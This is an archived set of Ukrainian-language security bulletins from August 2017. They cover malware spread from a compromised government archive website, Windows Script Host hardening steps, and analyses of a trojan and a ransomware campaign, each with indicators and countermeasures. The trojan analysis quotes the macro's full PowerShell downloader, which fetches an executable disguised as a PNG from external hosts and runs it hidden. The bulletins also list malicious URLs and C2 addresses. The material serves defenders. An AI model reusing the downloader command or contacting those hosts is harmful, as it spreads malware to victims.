Archive | August 2017

load.exe

оновлено! посилання досі активні!

Доброго дня, панове.

28го серпня було зафіксовано спробу розповсюдження шкідливого коду з сайту держ. архіву Київської області. (h11p://dako.gov.ua/)

Маркери по цій атаці були надані по закритій розсилці. Сама організація була сповіщена і шкідливий код з сайту оперативно прибрали.

Проте на цьому історія не закінчилась – за останню добу була зафіксована повторна спроба розповсюдження шкідливого коду. (файл уже знов прибрали)

У зв’язку з вищезазначеним рекомендую перевірити журнали мережевого обладнання на предмет наступних маркерів:

Мережеві IOC:

h11p://dako.gov.ua\files\text\load.exe    62.244.56.8 GET /files/text/load.exe HTTP/1.1 
запасні посилання, що пов'язані з цією атакою:
h11p://porohforeveyoung.ru\texting\load.exe   49.51.38.216 GET /texting/load.exe HTTP/1.1
h11p://livedeathinternetforeve.ru\tonnel\load.exe   49.51.38.216 GET /tonnel/load.exe HTTP/1.1

Схема атаки:

 email > attach (7z) > JS > HTTP GET > %desktop%\*.exe

Приклад фішингового листа за сьогодні:

Приклад фішингового листа за 28:

Зразок який розповсюджувався 28го (SageCrypt)

File name load.exe
File size 195.5 KB
SHA-256 bdec28fe61f7c5343f0c1bca8ec59ed7edc0e8ba75ead57ee670592d74116f46

Зразок який було опубліковано за останню добу (знову замінили на SageCrypt)

File name load.exe
File size 168.5 KB
SHA-256 fe0decf8b7b5dd438db35fe5fbef876d7da17454a0c49488d5e8c0c589f5ccd0

Результат активації скрипта-приманки:

Оскільки за першою адресою файл видалений, іде завантаження по другому посиланню:

h11p://porohforeveyoung.ru\texting\load.exe   49.51.38.216 GET /texting/load.exe HTTP/1.1

За посиланням станом на 16:30, 31/08/17 за цим шляхом завантажується зразок pscrypt

У зв’язку з цією ситуацією хотілося іще раз нагадати, що зловмисникам дуже зручно користуватися недостатнім рівнем захищеності сайтів українських державних (та й комерційних) установ.

Це не перший і, на жаль, не останній випадок, тому фахівцям ІТ/ІБ важливо приділяти увагу параметрам фільтрації мережевих запитів – цілком легітимні джерела можуть бути скомпрометовані.

Заради безпеки організацій несанкціоновані спроби завантаження запускного коду повинні заборонятися, а самі приманки (скрипти/посилання/макроси) – блокуватися на рівні кінцевих точок.

Так само варто позачергово змінити облікові записи від web сервісів і провести їх перевірку на вразливості, щоб сайт компанії не став джерелом розповсюдження.

Будьте уважні та обережні!

VR

Windows Script Host або як перестати боятися скриптів

Всім привіт.
Останнім часом почастішали спроби доставки ransomware та троянського шкідливого коду через приманки у вигляді скриптів (.js*, .vbs, .wsf)
І хоча такий підхід абсолютно не новий (перший раз мені JS потрапив до рук 05/11/2015) але люди чомусь досі клікають і запускають, тому опишу прості прямолінійні варіанти як можна убезпечити організацію від зараження через цей механізм. Але давайте про все по порядку.
Нижче ви можете бачити зразки фішингових листів що ілюструють два типових способи доставки: приєднання та посилання:
Наша команда не одноразово наголошувала про необхідність блокування таких файлів по каналам web та email а також заборону їх створення у %AppData%.
Для тих, у кого поки немає комплексного захисту із білими списками та пісочницею, а також для тих, хто ігнорує застосування правил Access Protection у VSE/ENS пропоную на вибір два простих методи захисту від зараження через скрипти:
#1 Блокування доступу до мережі для процесу WScript
cmd від імені Адміністратора

netsh advfirewall firewall add rule name="_BLK_WScript" dir=out action=block program="C:\Windows\System32\wscript.exe"

* варто зазначити, що для повного захисту потрібно також створити схоже правило для консольного процесу cscript.exe
Результат роботи правила – при спробі запустити скрипт-приманку користувач буде отримувати помилку, а основна частина не буде завантажена:
#2 Деактивація механізму обробки скриптів
regedit від імені Адміністратора
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings
Створити параметр типу “DWORD” з іменем “Enabled” і значенням “0
Результат роботи цього методу проілюстровано на знімку екрану вище – при спробі запуску будь якої скриптової приманки користувач отримуватиме помилку.
PS
Важливо зазначити, що дані контрзаходи базуються на вбудованих можливостях ОС і працюють одразу без перезавантаження.
І так, я в курсі, що такий підхід може спричинити проблеми в роботі програм, які залежать від скриптів, але в більшості випадків пересічний користувач може жити з виключеним WSH.
Використання описаних вище способів може бути тимчасово припинено у разі необхідності.
Але варто усвідомлювати, що навіть застосування одного із цих методів не є повноцінним захистом від сучасних масових та цільових атак.
Варто міркувати над впровадженням хочаби Access Protection або ж повного комплексу MAR, ATP =DAC + ATD
Будьте уважні та обережні.
VR

IOC_trojan_240817

Доброго дня, панове.

24го числа на аналіз було надано два зразки шкідливого коду, які проходили по двом різним розсилкам.

Не дивлячись на те, що подібні схеми атаки вже висвітлювалися неодноразово, було прийняте рішення описати їх роботу повторно.

Будь ласка, зверніть увагу на початкові кроки компрометації та переконайтеся, що ви дійсно вжили заходів, аби на ваших системах такий код не запустився.

Отже зразок 2й, типовий trojan.

Рівень загрози – середній. Для організацій, що прислухалися до рекомендацій у попередніх повідомленнях – низький.

Важливий момент зазвичай основне тіло (exe) завантажується із вказаної у приманці адреси як Content-type:application/binary або Content-type:text/plain,

тут же ми бачимо завантаження шкідливого коду у вигляді Content-Type: image/png

Приклад фішингового листа:

Схема атаки:

email > attach (DOC) > macro > cmd > PowerShell > URL > HTTP GET > %temp%\*.exe > AppData\Roaming\winapp\*.exe

Активність скомпрометованої системи:

#1 Якщо жертва відкриває приєднаний документ, відбувається активація макросу який у свою чергу ініціює завантаження основного тіла через powershell (тип доставки W97M/Downloader)

cmd /c PowerShell "'PowerShell ""function fitt([String] $argu){(New-Object System.Net.WebClient).DownloadFile($argu,''%TMP%\Bctxt.exe'');Start-Process ''%TMP%\Bctxt.exe'';}
try{fitt(''h11p://esp.jp/sran.png'')}catch{fitt(''h11p://enyahoikuen.com/sran.png'')}'"" | Out-File -encoding ASCII -FilePath %TMP%\Nuxix.bat;Start-Process '%TMP%\Nuxix.bat' -WindowStyle Hidden"
121.50.42.51 HTTP      GET /sran.png HTTP/1.1

#2 Основне тіло завантажується в форматі зображення та записується на диск у вигляді запускного файлу:

File name sran.png      >>  %TMP%\Bctxt.exe
File size 500.5 KB
SHA-256 2e7dc1ea8d67bd8b879a2c17ddfa1a5ee1dfb3f0b01491635d598a027ff5fac8

#3 Поведінка основного тіла

Дублює своє тіло у каталог AppData\Roaming\winapp\*.exe

Здійснює перевірку зовнішньої IP адреси:

146.255.36.1 HTTP       243 GET /plain HTTP/1.1

Додає себе у автозавантаження через планувальник.

Ініціює запуск кількох дочірніх процесів svchost.exe через які здійснює комунікації із наступними хостами:

188.165.62.46:443
62.140.236.170:80
149.56.167.227:443

А тепер увага – найголовніше, заради чого я це пишу:

Що можна було зробити аби уникнути інфікування?

  1. Доставку приєднання із макросом можна було зупинити через карантин файлів з макросами на рівні поштового шлюзу (як приклад через Email Gateway)
  2. Запуск макросу можна було заборонити через блокування макросів у параметрах пакету MS Office (групові політики)
  3. Завантаження основного тіла шкідливого коду можна було уникнути заборонивши мережеві з’єднання для процесу PowerShell (одне правило вбудованого брандмауера)
  4. Або ж завантаження запускних файлів можна було заблокувати на рівні proxy (аналіз пакетів та пошук рідка “This program cannot be run in DOS mode“)
  5. Або ж можна було б заборонити виконання команд PowerShell із параметром -WindowStyle Hidden (Endpoint Security Adaptive Threat Protection, DAC)
  6. Запис на диск та запуск основного тіла можна було заборонити блокуванням створення .exe файлів у каталозі профілю (групові політики або Access Protection Rules)

Таким чином, як бачите, до запуску основного тіла було 5-6 кроків, упередження хоча би одного з них = зупинка атаки.

Мережеві IOC:

h11p://esp.jp/sran.png            (121.50.42.51)
h11p://enyahoikuen.com/sran.png   (202.231.207.151)
121.50.42.51 HTTP   GET /sran.png   - завантаження основного тіла
146.255.36.1 HTTP   GET /plain   - перевірка зовнішньої адреси

Контрзаходи:
  • Перевірка журналів мережевого обладнання по наданим маркерам
  • Блок запуску макросів через параметри пакету MS Office
  • Блокування доступу PowerShell.exe до мережі Інтернет
  • Заборона створення та зчитування/запуску *.exe з каталогів профілю користувача %appdata% та %temp% (якщо нестандартний шлях)
  • Жорстка фільтрація каналів доставки із перевіркою репутації як посилань так і самих файлів (MWG, MEG + GTI)
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR

IOC_Ransomware_240817

Доброго дня, панове.

24го числа на аналіз було надано два зразки шкідливого коду, які проходили по двом різним розсилкам.

Не дивлячись на те, що подібні схеми атаки вже висвітлювалися неодноразово, було прийняте рішення описати їх роботу повторно.

Будь ласка, зверніть увагу на початкові кроки компрометації та переконайтеся, що ви дійсно вжили заходів, аби на ваших системах такий код не запустився.

Отже зразок 1й, Ransomware

Рівень загрози – середній. Для організацій, що прислухалися до рекомендацій у попередніх повідомленнях – низький.

Важливий момент – для завантаження початкового архіву із скриптом-приманкою було застосовано переадресацію (раніше мені траплялися лише чіткі прямі посилання).

Також варто зауважити, що при першому запуску зразок не розпочав шифрування.

Приклади листів:

Схема атаки:

email > URL1 > redirect > URL2 > ZIP > JS > HTTP GET > %temp%\*.tmp > Program Data\Windows\*.exe

Активність скомпрометованої системи:

#1 Якщо жертва переходить за посиланням в листі відбувається переадресація та завантаження архіву із скриптом-приманкою (тип доставки Nemucod)

203.183.65.225 HTTP GET /HygHGF  >> 84.246.212.60  HTTP GET /Data/Docs76.zip

#2 Запуск приманки призводить до завантаження основного тіла Ransomware

154.41.67.252  HTTP 367 GET /2808go.exe  >>  %temp%\*.tmp
File name 2808go.exe
File size 905.35 KB
SHA-256 847a057f866b86660788e5e158b3ccb694c0a4aaa96ec89afc9ee59b6a9bf2e4

#3 Поведінка основного тіла

Після запуску клонує свій процес, копіює своє тіло у ProgramData\Windows\csrss.exe (шлях може бути іншим),

Додає себе в автозавантаження через HKCU\Software\MS\Windows\CurrentVersion\Run

Розпаковує та записує динамічну бібліотеку за шляхом %temp%\random.tmp\System.dll

Видаляє тіньові копії через vssadmin, встановлює зовнішню IP адресу, генерує три процеси і розпочинає шифрування даних.

Ініціює з’єднання із такими хостами:

86.59.21.38:443,TCP
171.25.193.9:80,TCP
208.83.223.34:80,TCP
178.16.208.61:443,TCP
51.255.211.235:9001,TCP

А тепер увага – найголовніше, заради чого я це пишу:

Що можна було зробити аби уникнути шифрування?

  1. Завантаження архіву з скриптом можна було завадити через блокування JS на proxy (як приклад через composite opener Web Gateway)
  2. Запис JS приманки на диск (розпаковку) можна було попередити заборонивши створення JS файлів в профілі користувача (групові політики або Access Protection Rules)
  3. Запуск JS приманки можна було зупинити через деактивацію механізму Windows Script Host (зміна одного ключа реєстру)
  4. Завантаження основного коду можна було зупинити блокуванням мережевих з’єднань для процесу WSCript.exe (одне правило вбудованого брандмауера)
  5. Створення та подальший запуск основного тіла можна було заборонити блокуванням створення .tmp та .exe файлів у каталозі профілю та %tmp% якщо не стандартний шлях (групові політики або Access Protection Rules)

Таким чином, як бачите, до запуску основного тіла було 5 кроків, упередження хоча би одного з них = зупинка атаки.

Мережеві IOC:

203.183.65.225   HTTP GET /HygHGF HTTP/1.1
84.246.212.60   HTTP GET /Data/Docs76.zip HTTP/1.1
154.41.67.252   HTTP 367 GET /2808go.exe HTTP/1.1

інші посилання з розсилки:
92.51.164.62  HTTP GET /HygHGF HTTP/1.1
85.25.45.248  HTTP GET /HygHGF HTTP/1.1
81.169.168.153  HTTP GET /HygHGF HTTP/1.1
83.169.22.79  HTTP GET /HygHGF HTTP/1.1
80.244.168.26  HTTP GET /HygHGF HTTP/1.1
109.237.218.40  HTTP GET /HygHGF HTTP/1.1
85.25.124.78  HTTP GET /HygHGF HTTP/1.1
62.75.191.150  HTTP GET /HygHGF HTTP/1.1

Контрзаходи:

  • Перевірка журналів мережевого обладнання по наданим маркерам
  • Деактивація функціоналу Windows Script Host або блокування доступу WSCript.exe до мережі Інтернет
  • Заборона створення та зчитування/запуску *.JS* та .exe з каталогів профілю користувача %appdata% та %temp% (якщо нестандартний шлях)
  • Жорстка фільтрація каналів доставки із перевіркою репутації як посилань так і самих файлів (MWG, MEG + GTI)
  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

Будьте уважні та обережні!

VR